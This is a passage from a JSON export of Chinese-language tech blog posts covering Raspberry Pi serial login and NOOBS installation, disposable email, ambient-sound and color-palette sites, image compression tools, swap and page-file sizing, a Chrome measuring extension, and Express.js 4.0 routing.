核心（Kernel）步驟教學"},{"content":"這裡介紹如何使用 USB 轉 TTL 傳輸線，從序列埠登入到 Raspberry Pi B+。\n在 Raspberry Pi 上面進行開發時，除了連接鍵盤、滑鼠、螢幕或是透過網路來操作之外，也可以經由 USB 轉 TTL 序列傳輸線來直接登入，讓開發者可以更方便控制 Raspberry Pi。\nStep 1\n如果要使用序列埠（serial port）登入到 Raspberry Pi B+，首先要去買一條 USB 轉 TTL 傳輸線，網路上的價格一條大約一兩百塊左右。\nStep 2\n有了傳輸線之後，使用前記得要安裝驅動程式，我這裡使用的是 PL2303 HXD，它的驅動程式可以從旺玖科技的網站下載，安裝好驅動程式，就可以使用這條傳輸線來連接 Raspberry Pi 了。\nStep 3\n要透過序列傳輸介面連接 Raspberry Pi，需要接三條線，分別為：\n黑色線為接地（GND），接 Raspberry Pi 的接地（GND），6 號腳位。 白色線為接收（RXD），接 Raspberry Pi 的傳送（TXD），8 號腳位。 綠色線為傳送（TXD），接 Raspberry Pi 的接收（RXD），10 號腳位。 紅色的線是 5V 的電源，這裡沒有用。參考接線圖如下。\n插上三條線之後，就會像這樣。\nStep 4\n接好線之後，首先看一下裝置管理員，檢查連接埠（COM 和 LPT），看一下剛剛接上的連接線是哪一個連接埠。\n以這個例子而言，它所使用的連接埠是 COM5。\nStep 5\n開啟 PuTTY，Connection type 選擇 Serial，然後在 Serial line 填上剛剛查到的連接埠（以這個例子來說就是 COM5），Speed 則填 115200。\nStep 6\n填好之後，按下 Open 即可進行連線，正常的話就可以直接登入了。\n其預設帳號與密碼也都跟正常的終端機一樣（pi/raspberry），連上的虛擬終端機為 ttyAMA0。\n如果終端機上沒有任何訊息，可以嘗試把 Raspberry Pi 重開機（拔掉電源重新插上）試試看。\n從 Linux 桌機連線 若在 Linux 的環境下，USB 序列埠的設備會類似 /dev/ttyUSB0 這樣的名稱：\nls -l /dev/ttyUSB0 使用前要把自己的帳號加入 dialout 群組：\nsudo usermod -a -G dialout gtwang 接著即可使用 screen 透過序列埠登入到 Raspberry Pi B+：\nscreen /dev/ttyUSB0 115200 如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 葉難 eLinux.org ","permalink":"https://blog.gtwang.org/iot/pl2303-hxd-usb-ttl-raspberry-pi-b-plus/","summary":"\u003cp\u003e這裡介紹如何使用 USB 轉 TTL 傳輸線，從序列埠登入到 Raspberry Pi B+。\u003c/p\u003e\n\u003cp\u003e在 Raspberry Pi 上面進行開發時，除了連接鍵盤、滑鼠、螢幕或是透過網路來操作之外，也可以經由 USB 轉 TTL 序列傳輸線來直接登入，讓開發者可以更方便控制 Raspberry Pi。\u003c/p\u003e","title":"使用 PL2303 HXD USB 轉 TTL 傳輸線，從序列埠登入到 Raspberry Pi B+"},{"content":"這裡介紹如何使用 Raspberry Pi 官方的 NOOBS 來快速安裝 Linux 系統，不用任何指令即可快速使用。\n最近每了幾片樹莓派 Raspberry Pi Model B+ 板子來測試，這種板子因為有設計給教學使用，所以在使用上非常方便，硬體配備也非常好，直接跑一般性的 Linux 也沒什麼問題，最重要的是價格便宜，一塊板子大約一千出頭就有了，加上 SD 卡與相關配件，通常不用兩千塊就可以組裝好一個可以用的系統了。\n如果要組裝一台迷你電腦，除了基本的板子之外，外盒也是必要的，網路上通常都可以找到各式各樣專門給 Raspberry Pi 用的外盒，大家可以自己上網選擇自己喜歡的款式，不過要注意自己板子的型號，如果型號不對是不能用的（例如 Raspberry Pi B 與 Raspberry Pi B+ 所用的盒子就不一樣）。\n我買的是最便宜的壓克力外盒，總共有六片壓克力板，組裝起來後，剛好可以容納 Raspberry Pi B+，這樣的盒子一個大約 100 元，對於測試階段的產品而言，是個不錯的選擇。\n不過這個壓克力的盒子再組裝時要注意安裝的順序與位置，Raspberry Pi B+ 在一開始就要放進去，然後對照 Raspberry Pi B+ 的各個孔位來配對壓克力板。我第一次裝的時候，先把壓克力盒子裝起來，結果發現因為他設計的大小太剛好了，組裝完後 Raspberry Pi B+ 就放不進去，結果又拆掉重頭來，中間因為笨手笨腳太用力，還把一個壓克力的卡榫弄斷，結果盒子的有一邊就鬆鬆的，還好一個盒子不是很貴。\u0026#x1f644;\n組裝好了之後，就可以準備安裝系統了。首先要先準備一張格式化好的 MicroSD 卡，也就是說要把 MicroSD 卡中的資料都清空。\n接著到 Raspberry Pi 官方網站下載 NOOBS，他有分兩種版本，一種是完整版（NOOBS），另外一種是網路安裝版（NOOBS LITE），這裡我們以完整版來示範。\nNOOBS 下載下來會是一個 Zip 壓縮檔，使用一般的解壓縮軟體把裡面所有的檔案解壓縮之後放進 MicroSD 卡中，然後再把這張 MicroSD 卡插進 Raspberry Pi B+ 的插槽。\n接著插上 USB 鍵盤、滑鼠與螢幕，插上 USB 電源之後就會自動開機。\n開機之後，會進入 NOOBS 的選單，這裏可以選擇要安裝的系統。在最新版的 NOOBS 中，如果沒有連上網路的話，就只會看到像這樣簡單的幾個安裝選項。\n如果您想要安裝其他的作業系統，就必須將 Raspberry Pi 插上網路線，讓他透過 DHCP 自動取得 IP，連上網路後他就會自動顯示所有可以安裝的作業系統，一般來說只要插上市售的 IP 分享器就可以用了。\n這裡連上網路後，除了基本的 Raspbian 之外，又多出了 OpenELEC、Arch、RaspBMC、Pidora 與 RISC OS，也就是說所有官方網頁上的 OS 都可以安裝。\n選擇好要安裝的系統之後，按下「Install」就會開始安裝。\n安裝完成後，會顯示安裝成功的訊息。\n接著會進入開機選單，這裡可以選擇要使用的系統。\n我們選擇第二個 Raspbian 來開機。\n第一次開機時，會出現一個設定選單，這裡可以對系統進行一些設定，例如設定密碼、啟用攝影機或是超頻等等。\n設定完成後，就會進入到 Linux 的 Shell 環境了。\n如果要使用 XWindow 桌面環境，可以直接執行\nstartx 這樣就會進入 LXDE 的桌面環境。\n在開啟桌面之後，基本上使用起來就跟一般的電腦沒兩樣了，而另外一個開機選項 Boot to Scratch 主要是給學生練習的程式設計環境，開機後就會直接進入 Scratch 環境，這個對於專業人士而言就比較沒有用了。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-b-plus-noobs-linux-installation/","summary":"\u003cp\u003e這裡介紹如何使用 Raspberry Pi 官方的 NOOBS 來快速安裝 Linux 系統，不用任何指令即可快速使用。\u003c/p\u003e\n\u003cp\u003e最近每了幾片樹莓派 Raspberry Pi Model B+ 板子來測試，這種板子因為有設計給教學使用，所以在使用上非常方便，硬體配備也非常好，直接跑一般性的 Linux 也沒什麼問題，最重要的是價格便宜，一塊板子大約一千出頭就有了，加上 SD 卡與相關配件，通常不用兩千塊就可以組裝好一個可以用的系統了。\u003c/p\u003e","title":"樹莓派 Raspberry Pi B+ 入門教學，以 NOOBS 安裝基本 Linux 系統"},{"content":"MailDrop 是一個拋棄式的電子郵件信箱，用完就丟，完全不必擔心會收到垃圾信件的問題。\n在網路上有許多的免費資源或是服務都會需要經過註冊才能使用，而註冊時都免不了需要填寫電子郵件位址，如果您時常到處註冊這類的網站，時間一久之後，您的電子郵件信箱就會不定時收到一堆廣告信件，如果想要避免這樣的問題，我們可以不要使用自己真實的電子郵件位址，改用拋棄式的電子郵件信箱來註冊。\nMailDrop 是一個免費的臨時電子郵件信箱服務，完全不需要註冊即可立即使用。\n名稱：MailDrop\n網址：https://maildrop.cc/\n以下是 MailDrop 的使用教學。\nStep 1\n首先打開 MailDrop 的網頁，在畫面的右上角有一個可以輸入 Email 位址的欄位，在這裡直接輸入自己想要使用的 Email 位址，然後按下「GO」。\nEmail 信箱可以自己任意選擇，這裡我取為 guozhao.wang@maildrop.cc。\nStep 2\n接著就會進入信箱的收件夾，現在凡是寄到 guozhao.wang@maildrop.cc 這個信箱的信件，就會直接出現在這裡。\n由於我們尚未寄送任何信件，所以收件夾是空的，現在我們就可以拿這個信箱去使用了。由於 MailDrop 的設計上並沒有設定密碼，也就是說任何人只要知道信箱的位址，都可以觀看該信箱的信件。\n如果您不希望別人也看到自己的信件，可以使用畫面左下方顯示的 alias address（這個例子來說就是 D-yawe5ic6zf1@maildrop.cc），寄到這個 Email 位址的信同樣也會顯示在這裡，不過別人就無法得知真正的 Email 收件夾是哪一個，也就無法直接看到信件內容。\nStep 3\n當有信件寄來的時後，就會顯示在這裡，您也可以在這裡管理您的信件。\n由於 MailDrop 是為了方便、快速而設計的，從頭到尾都不用註冊、也沒有使用密碼，所以相對的也完全沒有安全性與保護隱私的功能，大概只適用於一些無關緊要的註冊網站，如果真的有重要的資料，還是建議使用正常的 Email 信箱，以免資料外洩的問題。\n","permalink":"https://blog.gtwang.org/useful-tools/maildrop/","summary":"\u003cp\u003eMailDrop 是一個拋棄式的電子郵件信箱，用完就丟，完全不必擔心會收到垃圾信件的問題。\u003c/p\u003e\n\u003cp\u003e在網路上有許多的免費資源或是服務都會需要經過註冊才能使用，而註冊時都免不了需要填寫電子郵件位址，如果您時常到處註冊這類的網站，時間一久之後，您的電子郵件信箱就會不定時收到一堆廣告信件，如果想要避免這樣的問題，我們可以不要使用自己真實的電子郵件位址，改用拋棄式的電子郵件信箱來註冊。\u003c/p\u003e","title":"MailDrop 拋棄式的暫時信箱，避免垃圾信件的煩惱"},{"content":"Defonic 這個網站蒐錄了許多大自然的環境音效，加上柔和的音樂，可以讓心情放鬆，舒緩工作壓力。\n有好的環境可以讓工作效率提高，也更容易發揮大腦的創造力，像是在 Coffitivity 線上咖啡廳工作就是一個不錯的選擇，而如果您喜歡大自然的聲音，可以試試看 Defonic 這個網站，他收錄了許多高品質的自然環境音效，可以讓您自由選擇喜歡的聲音。\n名稱：Defonic\n網址：https://defonic.com/\n在 Defonic 首頁，您可以選擇想要鈴聲的聲音，也可以組合多種音效，例如同時開啟流水聲與雨聲，您就會有下雨天在小溪旁工作的感覺。左方有一個「TURN OFF THE LIGHT」可以將畫面更換為夜晚的景色，讓心情更容易放鬆。\n如果在首頁將畫面往下拉，右方會出現一個「HD」的連結，按下去之後，會有許多不同的情境畫面可以選擇。\n這些畫面採用了最新的 HTML5 的影片播放技術，他的背景不是一般的圖片，而是會動的影片喔！如果再配上好一點的耳機來聽，整體的感覺是很不錯的。\n在這個畫面的下方還有三個控制按鈕，分別可以控制主要背景音效（就是畫面上主題的音效）、次要背景音效（蟲鳴鳥叫聲等）還有音樂，您可以依照自己的喜好開啟或關閉，如果不喜歡他所配置的音樂，您也可以另外打開自己喜歡的音樂來聽（例如爵士樂就是一個對放鬆很有幫助的音樂）。\n","permalink":"https://blog.gtwang.org/useful-tools/defonic/","summary":"\u003cp\u003eDefonic 這個網站蒐錄了許多大自然的環境音效，加上柔和的音樂，可以讓心情放鬆，舒緩工作壓力。\u003c/p\u003e\n\u003cp\u003e有好的環境可以讓工作效率提高，也更容易\u003ca href=\"/funny/optimizing-productive-work-environment/\"\u003e發揮大腦的創造力\u003c/a\u003e，像是在 \u003ca href=\"/funny/coffitivity/\"\u003eCoffitivity 線上咖啡廳\u003c/a\u003e工作就是一個不錯的選擇，而如果您喜歡大自然的聲音，可以試試看 Defonic 這個網站，他收錄了許多高品質的自然環境音效，可以讓您自由選擇喜歡的聲音。\u003c/p\u003e","title":"Defonic 高品質的環境音效，讓心情放鬆舒緩壓力"},{"content":"網路上有許多免費的圖片壓縮與最佳化工具，善用這些工具可以讓網頁圖片壓縮得非常小，而且在視覺上幾乎不會有什麼影響。\n現在的網路速度發展相當迅速，不過網頁的大小依舊跟使用者的瀏覽體驗息息相關，網頁的大小越小、載入的速度就越快，給使用者的感受也就會越好。\n而通常在網頁中最佔空間的就是圖片，如果能夠將圖片經過適當壓縮，通常對於整個網頁的大小都會有顯著的改善。但我們都知道一般的圖片壓得越小、失真的狀況就會越嚴重，如何在圖片品質與大小之間取得平衡就是一件很難抉擇的事情。\n網路上有許多免費的工具可以幫我們自動處理這樣的問題，這些工具都有自己獨特的壓縮方式，可以使用有損壓縮（lossy compression）的方式，將圖片大幅壓縮，而且幾乎不會影響圖片的品質，至少用肉眼看起來是沒什麼差別的。\nKraken.io Kraken.io 是一個線上圖片最佳化工具，您可以上傳自己的圖檔在線上壓縮圖檔，產生最佳化的圖片。\n名稱：Kraken.io\n網址：https://kraken.io/\nTinyPNG TinyPNG 是一個專門用來壓縮 PNG 圖檔的線上服務，一次最多可以上傳 20 張圖，每一張圖檔的大小最大為 5MB，這應該可以適用於大部分的狀況了。\n名稱：TinyPNG\n網址：https://tinypng.com/\nJPEGmini JPEGmini 是一個安裝在自己電腦中的圖片壓縮工具，如果不想每次壓縮圖片都要上傳，就可以考慮這個工具。\n名稱：JPEGmini\n網址：http://www.jpegmini.com/\nStep 1\n這個工具安裝好之後，執行起來就會看到這個畫面，這時候您就可以將要壓縮的圖片用滑鼠拖曳進到這個視窗中。\nStep 2\n接著它會提醒您壓縮完圖片之後，會將原始的圖檔覆蓋掉，如果您想要保留原始的圖檔，請在圖檔壓縮之前自行備份起來。\nStep 3\n壓縮完成之後，畫面上會顯示壓縮的比例與總共節省的空間大小。\nStep 4\n這個是我拿五的圖檔來測試的結果，您可以看到壓縮後的大小下降了很多。\nPNG Gauntlet PNG Gauntlet 結合了 PNGOUT、OptiPNG 與 DeflOpt 三個壓縮工具，可以產生最小的 PNG 圖檔。\n支援的圖檔有 JPG、GIF、TIFF 與 BMP，輸出則是 PNG 檔。\n名稱：PNG Gauntlet\n網址：http://pnggauntlet.com/\nCompressNow CompressNow 是一個線上壓縮圖檔的工具，他可以讓使用者直接指定壓縮的比例，支援 GIF、JPG 與 PNG 三種格式。\n名稱：CompressNow\n網址：http://compressnow.com/\nTrimage Trimage 是一個適用於 Linux 系統的圖片壓縮工具，支援，他會根據不同的圖檔格式來使用 OptiPNG、PNGCrush、AdvPNG 或 JPEGOptim 來壓縮。\n名稱：Trimage\n網址：http://trimage.org/\n如果是 Ubuntu 或 Debian Linux，可以使用 apt 安裝：\nsudo apt-get install trimage ImageOptim ImageOptim 是一個適用於 Mac OS X 的圖片壓縮工具，支援 PNG、JPEG 與 GIF。它整合了 PNGOUT、Zopfli、Pngcrush、AdvPNG、extended OptiPNG、JpegOptim、jpegrescan、jpegtran 與 Gifsicle，在壓縮時會找出最好的壓縮方式，盡可能將圖片壓縮到最小。\n在使用時只要直接將要壓縮的圖檔拖曳進視窗中即可進行壓縮，操作介面簡潔，是一個很不錯的工具，我個人很推薦。\n名稱：ImageOptim\n網址：https://imageoptim.com/\n參考資料 Mashable ","permalink":"https://blog.gtwang.org/useful-tools/online-image-optimization-tools/","summary":"\u003cp\u003e網路上有許多免費的圖片壓縮與最佳化工具，善用這些工具可以讓網頁圖片壓縮得非常小，而且在視覺上幾乎不會有什麼影響。\u003c/p\u003e\n\u003cp\u003e現在的網路速度發展相當迅速，不過網頁的大小依舊跟使用者的瀏覽體驗息息相關，網頁的大小越小、載入的速度就越快，給使用者的感受也就會越好。\u003c/p\u003e","title":"將圖片壓縮與最佳化的免費工具整理，讓圖檔變得更小又不影響品質"},{"content":"這裡討論 Windows 系統的分頁檔（page file）或 Linux 系統的交換空間（swap partition）是做什麼用的？應該設定為多大比較好？\n傳統上作業系統的交換空間（swap partition）或是分頁檔（page file）都會設置為實體記憶體的兩倍，不過由於現在的記憶體價格便宜，一般新的電腦都有 8G 甚至 16G 以上的記憶體，這個時候您可能就不需要將交換空間或是分頁檔設定成那麼大，尤其是在使用固態硬碟的時候，設定過大的交換空間或是分頁檔反而會造成浪費，不過到底要設為多少比較適合還是要看個人的需求而定。\n交換空間與分頁檔 首先我們稍微解釋一下交換空間與分頁檔的用途。一般的程式在執行時期，如果需要記憶體來儲存資料，都會預期作業系統會配置足夠的記憶體給它，當記憶體充足的狀況下，系統可以依照程式的要求來配置，一切都沒有問題，但是如果實體的記憶體不足時，系統無法配置新的記憶體空間給程式，通常就會造成程式整個當掉。\nWindows 系統的分頁檔與 Linux 系統的交換空間的用途在於增加系統的記憶體空間，防止記憶體不足而造成系統當機，也就是把硬碟拿來當成記憶體使用的意思，當記憶體的空間不夠時，系統會自動把多出來的資料放進交換空間或是分頁檔中，這樣就可以讓程式正常執行。\n由於硬碟的存取速度比記憶體慢非常多，因此為了提升系統的效能，系統通常都會將比較不常用的資料放進交換空間或是分頁檔中，盡可能減低硬碟的存取頻率與資料量，在早期比較舊的電腦上，記憶體常常會發生不足的狀況，這種時候您就會發現明明沒做什麼事情，硬碟的存取燈號就是一直在閃，這大概就是因為使用到交換空間或是分頁檔所導致的。\n其他用途 除了擴充記憶體的空間之外，交換空間與分頁檔還有一些其他的用途，以 Windows 來說，如果系統發生當機時，系統可以將記憶體或是 kernel 的資料傾印（dump）至分頁檔中。\n在 Linux 系統上，如果長時間沒有使用時，除了一般的睡眠模式之外，也可以讓系統進入進入休眠（hibernation）的狀態，這種方式是將記憶體的資料都寫入硬碟中，然後關機，等到下次開機的時候，再從硬碟中將資料讀取回來，恢復成原有的狀態，這樣的模式適合用於比較長時間沒有使用的情況。\nLinux 的休眠其實就是將資料從記憶體中寫進交換空間，也就是說交換空間的大小必須要能容納得下記憶體中的資料，否則就無法使用這樣的方式（如果您的記憶體有 16G，但是您只使用了其中的 4G，這樣的話就只需要 4G 的交換空間來儲存）。當然如果您沒打算使用休眠的功能，就不需要擔心這個問題。\n交換空間與分頁檔該設多大？ 到底交換空間與分頁檔該設為多大並沒有絕對的標準，主要是要看您的需求而定，假設您的記憶體有 8G，而您從來就不曾使用超過 4G 的記憶體，那麼縱使將交換空間或分頁檔關閉都無所謂。\n但是如果您有 64G 的記憶體，但是您常常會需要處理 100G 的資料，那麼您最好將交換空間或是分頁檔設定為 64G 以上，以免造成記憶體不足的問題。\n總而言之，實體記憶體的大小不是唯一的考量，還是要了解交換空間與分頁檔的用途之後，再自己決定該怎麼設定。\nWindows 的分頁檔設定 Windows 系統中的分頁檔是儲存在 C:\\pagefile.sys，系統預設會自動管理分頁檔的大小，系統會在需要額外空間時自動增加這個檔案的大小，一般的使用者通常都可以不需要操心這個問題。正常來說這個檔案應該都不會有過大的狀況，如果您發現您的分頁檔很大，那可能就是因為過去有需要大量記憶體的狀況發生，所以系統後來就會先預留大一點分頁檔。\n如果想要自己調整分頁檔的大小，可以依照下面的步驟進行設定。\nStep 1\n從控制台的「系統及安全性」中選擇「系統」，點選左方的「進階系統設定」。\nStep 2\n點選「進階」籤頁，點選效能的「設定」按鈕。\nStep 3\n點選「進階」籤頁，在虛擬記憶體的地方就會顯示目前的分頁檔大小。\n以我的狀況來說，我的這台電腦有 8G 的實體記憶體，這裡系統目前所配置的分頁檔也大約是 8G。如果要更改的話，就點選「變更」按鈕。\nStep 4\n接著就可以針對分頁檔進行設定。\n如果您感覺您的實體記憶體很充足，不需要分頁檔，也可以直接把分頁檔關閉（不過通常不建議這麼做）。\n關閉分頁檔事實上不會讓系統效能變好，因為系統只有在實體記憶體不足時，才會將資料放進分頁檔，由於現在的硬碟都很大，將分頁檔整個關閉換得的硬碟空間通常效益不高。\nLinux 的交換空間 在 Linux 中所使用的交換空間跟 Windows 分頁檔的功能類似，不過由於交換空間是一個磁碟分割區，不像分頁檔是一個檔案，所以 Linux 系統上沒辦法動態調整交換空間的大小，通常在一開始安裝系統時就必須指定好交換空間的大小。\n如果真的要變更 Linux 交換空間的大小，也是可以使用 GParted 這類的軟體來變更，只不過比較麻煩而已。\n大部分的 Linux 發行版都有自己的安裝程式，而安裝程式通常都會有自己的規則來判斷預設的交換空間大小，像 Ubuntu 就會將交換空間的大小設定為比實體記憶體稍微大一些，以確保休眠的功能可以運作。\n如果您要自行指定交換空間的大小，建議可以使用實體記憶體的大小再加上 0.5G 左右，這樣可以確保休眠的功能可以正常使用。如果您的實體記憶體很大（如 16G），而且您也不需要使用休眠的功能，那麼您就可以指定小一點的交換空間（如 2G）。\n結論 總而言之，到底要將交換空間或分頁檔設定為多大，還是要看個人的需求而定，「記憶體的兩倍」這個規則大概只適用於以前比較老舊的硬體（1G 或 2G 的記憶體），以現在的硬體而言，沒有一個絕對的規則，如果您自己也不是很確定該怎麼設定，那麼就直接依照系統的預設值就可以了，通常系統所預設的狀況對於大多數人都會適用。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/tips/how-big-should-your-page-file-or-swap/","summary":"\u003cp\u003e這裡討論 Windows 系統的分頁檔（page file）或 Linux 系統的交換空間（swap partition）是做什麼用的？應該設定為多大比較好？\u003c/p\u003e\n\u003cp\u003e傳統上作業系統的交換空間（swap partition）或是分頁檔（page file）都會設置為實體記憶體的兩倍，不過由於現在的記憶體價格便宜，一般新的電腦都有 8G 甚至 16G 以上的記憶體，這個時候您可能就不需要將交換空間或是分頁檔設定成那麼大，尤其是在使用固態硬碟的時候，設定過大的交換空間或是分頁檔反而會造成浪費，不過到底要設為多少比較適合還是要看個人的需求而定。\u003c/p\u003e","title":"系統的分頁檔（Page File）或交換空間（Swap Partition）應該設定為多大比較好？"},{"content":"Coolors 是一個免費的自動配色工具，可以讓您在線上快速產生各種適宜的色票，省去自己配色的煩惱。\n在設計網頁或是製作簡報時，顏色的選擇是一個很重要的關鍵，有好的配色可以讓整體畫面看起來更協調，閱讀起來更舒服。\nCoolors 是一個簡單且快速的線上配色工具，他可以讓您很快的產生各種很協調的色彩組合，讓您不用為了色彩的選擇而傷腦筋。\n名稱：Coolors\n網址：https://coolors.co/\n開啟 Coolors 的網頁之後，就會自動產生一組隨機的色票，這個時候您可以按下「空白鍵」重新產生隨機的色票，選擇一個自己喜歡的配色。\n有的時候您可能會只喜歡色票中的其中幾種顏色，這時候您可以用滑鼠點擊一下自己喜歡的顏色，將該顏色鎖定，然後繼續按下「空白鍵」，這樣它就會依照這些被鎖定的顏色來產生其餘的配色。\n如果您的設計已經有一些主要的顏色，想要找一些可以搭配的色彩，您也可以將顏色直接以十六進位的色碼輸入其中，將其鎖定，然後再用「空白鍵」產生其餘的顏色。\n如果想要跟別人分享自己產生好的色票，只要將產生出來的網址複製下來再貼給別人即可，例如\nhttps://coolors.co/9bc293-906052-f09986-f0b595-f4d4a5 Coolors 的網址裡面其實就只是包含五個顏色的色碼而已，您也可以直接從網址上來指定五個顏色。\n","permalink":"https://blog.gtwang.org/useful-tools/coolors-color-palettes-generator/","summary":"\u003cp\u003eCoolors 是一個免費的自動配色工具，可以讓您在線上快速產生各種適宜的色票，省去自己配色的煩惱。\u003c/p\u003e\n\u003cp\u003e在設計網頁或是製作簡報時，顏色的選擇是一個很重要的關鍵，有好的配色可以讓整體畫面看起來更協調，閱讀起來更舒服。\u003c/p\u003e","title":"Coolors：自動配色的線上工具，快速產生合適的色票"},{"content":"Dimensions 是一個適用於 Chrome 瀏覽器的距離測量外掛工具，可以快速測量螢幕上任何元素之間的距離，操作介面既簡潔又方便。\n在設計網頁時，時常會需要測量網頁中各種元素之間的距離，如果您慣用 Google Chrome 瀏覽器的話，可以嘗試一下 Dimensions 這個小工具，它可以讓您快速量測瀏覽器上任何元素之間的距離，既簡單又實用。\n名稱：Dimensions\n網址：http://felixniklas.com/dimensions/\n安裝好 Dimensions 之後，在 Chrome 瀏覽器的工具列上就會出現一個 Dimensions 的按鈕，點一下這個按鈕之後就可以開啟這個功能，接著即可對瀏覽器內的內容進行測量。\n測量的操作方式很簡單，只要將滑鼠移動到要測量的位置，他就會自動顯示測量到的距離。\nDimensions 不只有可以測量網頁，只要是顯示在 Chrome 瀏覽器中的東西都可以進行測量，您也可以將一般的圖片使用 Chrome 瀏覽器開啟，然後使用 Dimensions 測量。\nDimensions 目前只有實作 Chrome 的版本，Firefox 目前沒有實作的版本，不過 Dimensions 是以開放原始碼的方式釋出的，如果有興趣參與開發的人，可以從 GitHub 取得其原始碼。\n","permalink":"https://blog.gtwang.org/useful-tools/chrome-dimensions-extension/","summary":"\u003cp\u003eDimensions 是一個適用於 Chrome 瀏覽器的距離測量外掛工具，可以快速測量螢幕上任何元素之間的距離，操作介面既簡潔又方便。\u003c/p\u003e\n\u003cp\u003e在設計網頁時，時常會需要測量網頁中各種元素之間的距離，如果您慣用 Google Chrome 瀏覽器的話，可以嘗試一下 Dimensions 這個小工具，它可以讓您快速量測瀏覽器上任何元素之間的距離，既簡單又實用。\u003c/p\u003e","title":"Dimensions：測量距離的 Chrome 瀏覽器外掛工具"},{"content":"Express.js 4.0 有加入一個新的 Router 功能，它就像一個迷你的應用程式，可以讓應用程式內部的路由撰寫更方便、更有彈性。\nExpress.js 在 4.0 版中有許多新的功能，其中一項主要的功能就是 Router，以下我們介紹如何使用 Router 功能來撰寫應用程式。\n基本應用程式 首先建立一個 package.json 檔案，定義套件的相依資訊：\n{ \u0026#34;name\u0026#34;: \u0026#34;express-router-experiments\u0026#34;, \u0026#34;main\u0026#34;: \u0026#34;server.js\u0026#34;, \u0026#34;dependencies\u0026#34;: { \u0026#34;express\u0026#34;: \u0026#34;~4.0.0\u0026#34; } } 建立好package.json 之後，就可以使用 npm 指令自動安裝所需要的套件：\nnpm install 接著建立主要的 server.js，其內容如下：\n// ---- 基本設定 ---- var express = require(\u0026#39;express\u0026#39;); var app = express(); var port = process.env.PORT || 8080; // ---- ROUTES ---- // 舊方法 app.get(\u0026#39;/sample\u0026#39;, function(req, res) { res.send(\u0026#39;this is a sample!\u0026#39;); }); // ---- 啟動伺服器 ---- app.listen(port); 接著就可以測試一下伺服器是否可以正常運作：\nnode server.js 正常來說，這時候開啟瀏覽器輸入 http://localhost:8080/sample/ 這個網址，就可以看到\nthis is a sample! 這樣的訊息。\n這個範例中，我們使用 app.get 來處理路由的問題，這種方式是 Express 3.0 的用法，接下來我們會使用 Express 4.0 的 Router 功能來加入更多的路由。\nExpress Router 我們在既有的路由之後，使用新的 Router 功能加上額外的一些路由設定：\n// ---- 基本設定 ---- var express = require(\u0026#39;express\u0026#39;); var app = express(); var port = process.env.PORT || 8080; // ---- ROUTES ---- // 舊方法 app.get(\u0026#39;/sample\u0026#39;, function(req, res) { res.send(\u0026#39;this is a sample!\u0026#39;); }); // Express Router // 建立 Router 物件 var router = express.Router(); // 首頁路由 (http://localhost:8080) router.get(\u0026#39;/\u0026#39;, function(req, res) { res.send(\u0026#39;home page!\u0026#39;); }); // 另一張網頁路由 (http://localhost:8080/about) router.get(\u0026#39;/about\u0026#39;, function(req, res) { res.send(\u0026#39;about page!\u0026#39;); }); // 將路由套用至應用程式 app.use(\u0026#39;/\u0026#39;, router); // ---- 啟動伺服器 ---- app.listen(port); 這裡我們建立一個 Router 物件，然後設定這個物件的路由規則，最後再將這個 Router 物件的路由規則套用至應用程式中：\napp.use(\u0026#39;/\u0026#39;, router); 這樣一來，我們就建立了 http://localhost:8080 與 http://localhost:8080/about 這兩張網頁。\n將路由套用至應用程式時，可以指定路由的基礎路徑，舉例來說，如果我們將路徑指定為 /app\napp.use(\u0026#39;/app\u0026#39;, router); 這樣建立的兩個路由就會變成 http://localhost:8080/app 與 http://localhost:8080/app/about。\n這樣的特性可以讓我們很方便地將不同功能的路由區分開來，分別建立不同的 Router 物件，以不同的路徑套用至應用程式中，讓程式結構模組化且更有彈性。\nRoute Middleware Express 的 middleware 功能可以讓請求（request）在被處理之前，先執行一些前置作業，例如檢查使用者是否有登入或是紀錄一些使用者的瀏覽資料等等，凡是需要在實際處理請求之前要做的動作，都可以使用 middleware 來處理。\n下面這個範例是一個簡單的 middleware，它會在每一個請求被處理之前，輸出一行紀錄訊息到終端機上：\n// ... (略) // 建立 Router 物件 var router = express.Router(); // 在每一個請求被處理之前都會執行的 middleware router.use(function(req, res, next) { // 輸出記錄訊息至終端機 console.log(req.method, req.url); // 繼續路由處理 next(); }); // 首頁路由 (http://localhost:8080) router.get(\u0026#39;/\u0026#39;, function(req, res) { res.send(\u0026#39;home page!\u0026#39;); }); // 另一張網頁路由 (http://localhost:8080/about) router.get(\u0026#39;/about\u0026#39;, function(req, res) { res.send(\u0026#39;about page!\u0026#39;); }); // 將路由套用至應用程式 app.use(\u0026#39;/\u0026#39;, router); // ... (略) 這樣一來，只要有任何請求要處理時，終端機上就會輸出對應的紀錄訊息。\n在使用 middleware 時必須要注意他的放置位置必須要在 routes 之前，程式在執行的時候會依據 middleware 與 routes 的先後順序來執行，如果不小心將 middleware 放在 routes 之後，那麼在 routes 處理完請求之後就會結束處理的流程，這樣 middleware 就根本不會執行。\n參數路由（Route with Parameters） 路由的規則除了使用固定的字串之外，也可以包含會變動參數，下面這個例子可以將使用者的名稱透過 URL 傳入程式中，並且根據使用者的名稱輸出訊息：\n// ... (略) // 含有參數的路由 (http://localhost:8080/hello/:name) router.get(\u0026#39;/hello/:name\u0026#39;, function(req, res) { res.send(\u0026#39;hello \u0026#39; + req.params.name + \u0026#39;!\u0026#39;); }); // 將路由套用至應用程式 app.use(\u0026#39;/\u0026#39;, router); // ... (略) 這裡的 :name 就像一個變數名稱，如果我們輸入的 URL 為 http://localhost:8080/hello/seal，那麼在程式中的 req.params.name 所抓取到的值就會是 'seal'，透過這樣的機制我們就可以跟不同的使用者打招呼。\n驗證參數 有時候我們會需要針對傳入的路由參數來進行篩選或驗證，例如檢查使用者所輸入的字串是否是合法的名稱，這時候就可以使用 .param() 這個專門用來處理參數的 middleware：\n// ... (略) // 驗證 :name 的 route middleware router.param(\u0026#39;name\u0026#39;, function(req, res, next, name) { // 在這裡驗證資料 // ... ... ... // 顯示驗證訊息 console.log(\u0026#39;doing name validations on \u0026#39; + name); // 當驗證成功時，將其儲存至 req req.name = name; // 繼續後續的處理流程 next(); }); // 含有參數的路由 (http://localhost:8080/hello/:name) router.get(\u0026#39;/hello/:name\u0026#39;, function(req, res) { res.send(\u0026#39;hello \u0026#39; + req.name + \u0026#39;!\u0026#39;); }); // 將路由套用至應用程式 app.use(\u0026#39;/\u0026#39;, router); // ... (略) 這樣在每次有 :name 